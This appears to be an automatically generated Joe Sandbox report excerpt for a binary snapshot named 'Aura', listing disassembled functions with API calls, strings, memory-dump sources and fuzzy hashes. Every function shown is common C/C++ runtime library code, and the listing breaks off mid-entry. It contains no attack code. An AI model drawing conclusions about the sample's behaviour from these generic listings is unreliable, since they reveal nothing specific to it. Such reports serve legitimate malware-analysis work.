Instruction Fuzzy Hash: C6E0E5223583046FF71C7A65EC52BF677DCDB45761F10042EFA1A8A6C3EE10ED0485A5

Function 000C6940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,000C69DC,00000000,?,000DD2B0,?,?,?,000C6913,00000004,InitializeCriticalSectionEx,000D0D34,000D0D3C), ref: 000C694D
GetLastError.KERNEL32(?,000C69DC,00000000,?,000DD2B0,?,?,?,000C6913,00000004,InitializeCriticalSectionEx,000D0D34,000D0D3C,00000000,?,000BBBBC), ref: 000C6957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 000C697F

Strings

api-ms-, xrefs: 000C6964

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: d69492d3fa4028c29adf69a2f2851aad87a349f51ee7b20020cfcef2937d0b38
Instruction ID: 241fbba52ffe8b751972fdb1cec98cef0647c8f73d1c2071afe3e73febac1a35
Opcode Fuzzy Hash: d69492d3fa4028c29adf69a2f2851aad87a349f51ee7b20020cfcef2937d0b38
Instruction Fuzzy Hash: EBE01A30780304BBEF201B60EC06F6D3B99EB45B91F240425FA4CAC4E1DB77EC509954

Function 000C3F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(F7EDDA51,00000000,00000000,?), ref: 000C4001

Part of subcall function 000BC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,000BD895,?,00000000,-00000008), ref: 000BC082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 000C4253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 000C4299
GetLastError.KERNEL32 ref: 000C433C

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 614a027a67b4d8c7b99e8a93ab13915f42d8bdfe41f51b86e876b156072665aa
Instruction ID: f582280c6309351ebf47e7ceb04595ce1b61af8a06d7524fb373b179cb4f5e96
Opcode Fuzzy Hash: 614a027a67b4d8c7b99e8a93ab13915f42d8bdfe41f51b86e876b156072665aa
Instruction Fuzzy Hash: 6CD15875D002989FDF15CFE8C890AEDBBB5FF49314F28412EE956EB252D630A941CB60

Function 000BB295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000BB35C
___AdjustPointer.LIBCMT ref: 000BB37F
___AdjustPointer.LIBCMT ref: 000BB41B

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 589735d948a9ad2ff35d98ed319a33cb9a01428af6c231109ac77ded50365e0b
Instruction ID: d337d1a3c900a8c0fea1d5e1f66e18891e1326485cf8b81371d2237d997f6c97
Opcode Fuzzy Hash: 589735d948a9ad2ff35d98ed319a33cb9a01428af6c231109ac77ded50365e0b
Instruction Fuzzy Hash: B251C272A04702AFDB299F50C991BFEB7E4EF00B10F14452DE94697292D7B1EE40DB90

Function 000A7220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000A72C5
std::_Throw_Cpp_error.LIBCPMT ref: 000A7395
std::_Throw_Cpp_error.LIBCPMT ref: 000A73A3
std::_Throw_Cpp_error.LIBCPMT ref: 000A73B1

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 2a36bd7d4a4a02d8260172374d619d055f78f11f15eda2f9cdefaff668c16a13
Instruction ID: 738cbfb7fbdc51cf4e5c848e0641d817e4812cc42701ef1c31807c6f172eae02
Opcode Fuzzy Hash: 2a36bd7d4a4a02d8260172374d619d055f78f11f15eda2f9cdefaff668c16a13
Instruction Fuzzy Hash: 3141D3B2A003458FDF20DBA4CC417AEB7E4FF46320F158639E81A47692EB34E910CB91

Function 000A4460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000A4495
std::_Lockit::_Lockit.LIBCPMT ref: 000A44B2
std::_Lockit::~_Lockit.LIBCPMT ref: 000A44D3
std::_Lockit::~_Lockit.LIBCPMT ref: 000A4580

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: b8ddf10582b053caafed0d3fa4c7afcb79bea6a062508227a77b6d22c7306837
Instruction ID: 1690636d42b29341ebb637afefadcac0218209c7e6ef47452a33754ae720a4b2
Opcode Fuzzy Hash: b8ddf10582b053caafed0d3fa4c7afcb79bea6a062508227a77b6d22c7306837
Instruction Fuzzy Hash: 29415C75D006198FDB10DFA4D844BDDB7B0FB8A724F14422AE81567392D778AD44CFA1

Function 000C1DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 000BC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,000BD895,?,00000000,-00000008), ref: 000BC082

GetLastError.KERNEL32 ref: 000C1E2A
__dosmaperr.LIBCMT ref: 000C1E31
GetLastError.KERNEL32 ref: 000C1E6B
__dosmaperr.LIBCMT ref: 000C1E72

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 642adbb0c3d3a7162d6f8ca624db7dbdfbc77ac8b176c832010e8269c7d15082
Instruction ID: 06c1d796e572fe5854dfdf6f46d3a6794d93cce9360cd291ba52623d74665ae4
Opcode Fuzzy Hash: 642adbb0c3d3a7162d6f8ca624db7dbdfbc77ac8b176c832010e8269c7d15082
Instruction Fuzzy Hash: 8A218071604215AFAB20AFA98881EEFB7A9FF46364710852DFC19D7153DB31EC108BA0

Function 000B2BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5acf86568a037ccf011fe49a70e6ddb8d14eae4f5c4496ff41da7f3f1ec7b55d
Instruction ID: b7c5fe5756b61446110c56923377e192255cb59f92f627aa45f374b244f1b2bc
Opcode Fuzzy Hash: 5acf86568a037ccf011fe49a70e6ddb8d14eae4f5c4496ff41da7f3f1ec7b55d
Instruction Fuzzy Hash: FB21C071204205AFDB61AF75CC81DEE7BA8FF90364B104925F85997252EB30EC40C7A0

Function 000C31BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000C31C6

Part of subcall function 000BC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,000BD895,?,00000000,-00000008), ref: 000BC082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C31FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C321E

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 7bea113a25fc33cbd2f4d6a4784abdbc1abb50234fa4ddfe6a698bf25ccc5777
Instruction ID: 1918f088a776cd08cbd4c260f27df8aa8afe5c9757c5964c1b37ff58ec32b9c4
Opcode Fuzzy Hash: 7bea113a25fc33cbd2f4d6a4784abdbc1abb50234fa4ddfe6a698bf25ccc5777
Instruction Fuzzy Hash: F711C0B1521115BFAB2127B55C8ADFF7A9CDF893947104029FA11A2102FFA5DF0086B1

Function 000AE892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000AE899
std::_Lockit::_Lockit.LIBCPMT ref: 000AE8A3
int.LIBCPMT ref: 000AE8BA

Part of subcall function 000AC1E5: std::_Lockit::_Lockit.LIBCPMT ref: 000AC1F6
Part of subcall function 000AC1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 000AC210

std::_Lockit::~_Lockit.LIBCPMT ref: 000AE914

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 07194d9eed04fb569cfb4d758b99fe821fff6af2316a47d42ac00c37e78cbde4
Instruction ID: 4620cd3472b559e1cb409ae324a96ebeed7eaac5efa6adce3e42e9d1932fa890
Opcode Fuzzy Hash: 07194d9eed04fb569cfb4d758b99fe821fff6af2316a47d42ac00c37e78cbde4
Instruction Fuzzy Hash: 8711E13190425A9BDF05EBE4C955AFEB7B1AF86710F250109E811AB2D3CF389E00CB91

Function 000CADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000), ref: 000CADB7
GetLastError.KERNEL32(?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000,?,?,?,000C3CD6,00000000), ref: 000CADC3

Part of subcall function 000CAE20: CloseHandle.KERNEL32(FFFFFFFE,000CADD3,?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000,?,?), ref: 000CAE30

___initconout.LIBCMT ref: 000CADD3

Part of subcall function 000CADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,000CAD91,000CA2DC,?,?,000C4390,?,00000000,00000000,?), ref: 000CAE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000,?), ref: 000CADE8

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 90c229bbcf8733a3d36c69a1929a95eced0df11a1d5a03f40da9f4b34802b90a
Instruction ID: 4c1dff9687642fa186bdfcedae9589db789ced5a05b13fd953782eaf9768c51f
Opcode Fuzzy Hash: 90c229bbcf8733a3d36c69a1929a95eced0df11a1d5a03f40da9f4b34802b90a
Instruction Fuzzy Hash: 2CF01236601119BFDF621FD5DC04E9E3F66FF05761B004016FD0A86120D7328860DBA1

Function 000B04F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 000B0507
GetCurrentThreadId.KERNEL32 ref: 000B0516
GetCurrentProcessId.KERNEL32 ref: 000B051F
QueryPerformanceCounter.KERNEL32(?), ref: 000B052C

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 169e4188da9a812297cc4573d50425e379ad34102085b02b150002bf25d83786
Instruction ID: 3259bbfe53ca4b0102dde8ebe10b38b9d2cfd5add93ec5b7a8e1bef8f330e646
Opcode Fuzzy Hash: 169e4188da9a812297cc4573d50425e379ad34102085b02b150002bf25d83786
Instruction Fuzzy Hash: 58F06274D1120DEBDB00DFB4DA4999EBBF4FF1C200B914996E812E7110EB34AB449B60

Function 000BB992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,000BB893,?,?,00000000,00000000,00000000,?), ref: 000BB9B7

Strings

MOC, xrefs: 000BB9C9
RCC, xrefs: 000BB9D1

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 910cd76bba0d43fccc06046f36aeaf0e2a9ea813cea3d07d44a33ec9b3dfff56
Instruction ID: 2a4958504dee2c7324615b71e031e606da142762681f39d562d2063f375a4f5e
Opcode Fuzzy Hash: 910cd76bba0d43fccc06046f36aeaf0e2a9ea813cea3d07d44a33ec9b3dfff56
Instruction Fuzzy Hash: 4B416A72D00209AFCF15DF98CC81AEEBBB5FF48300F188159FA14A7222D7B5AA50DB51

Function 000BB1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 000BB475

Strings

csm, xrefs: 000BB497
csm, xrefs: 000BB508

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: ab6db2bf257d2ddae185e4ea529b6d11ed89d09c71a9427993671abe2bb095e4
Instruction ID: 32db476a2875d06eca596df6d8165014d2fdc62051e6ab3c4a02cdf518258495
Opcode Fuzzy Hash: ab6db2bf257d2ddae185e4ea529b6d11ed89d09c71a9427993671abe2bb095e4
Instruction Fuzzy Hash: 1B312872500619EBCF369F51CC44AEE7BA6FF09314B18425AFC4509222C3B2DDA1DB82

Function 000AB831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000AB8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 000AB8DE

Part of subcall function 000B060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,000AF354,02774448,?,?,?,000AF354,000A3D4A,000D759C,000A3D4A), ref: 000B066D

Part of subcall function 000B8353: IsProcessorFeaturePresent.KERNEL32(00000017,000BC224), ref: 000B836F

Strings

csm, xrefs: 000AB86D

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: dced23e9a8c8811c0835678a740142896f1d0e314d6012edfe2d976d32c588d7
Instruction ID: 9eb86b20191dc81ca713404af6b8f213245dc5851be4ed8dc687935efbcb1d12
Opcode Fuzzy Hash: dced23e9a8c8811c0835678a740142896f1d0e314d6012edfe2d976d32c588d7
Instruction Fuzzy Hash: 1C217F31D00218EBCF24DFE9D945AEEB7F9AF46710F140419E405AB252DF78AD45CB91

Function 000AB46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 000A2673

Strings

ios_base::badbit set, xrefs: 000A2650
bad array new length, xrefs: 000A2626

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: e7b4e7abb7a14d1eb367a89dd28694bb9b1d1fa4cf78c53858d8cf5fe3f389d9
Instruction ID: 1effca588bd40bf0f953c1500be06014ccfa8e2bdbd728ff2963737d3399ba99
Opcode Fuzzy Hash: e7b4e7abb7a14d1eb367a89dd28694bb9b1d1fa4cf78c53858d8cf5fe3f389d9
Instruction Fuzzy Hash: 2801DFF1604301ABDB14DF28E846B9B7BE4AF48318F11882EF45D8B342E379E804CB95

Function 000A2610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000B060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,000AF354,02774448,?,?,?,000AF354,000A3D4A,000D759C,000A3D4A), ref: 000B066D

___std_exception_copy.LIBVCRUNTIME ref: 000A2673

Strings

ios_base::badbit set, xrefs: 000A2650
bad array new length, xrefs: 000A2626

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
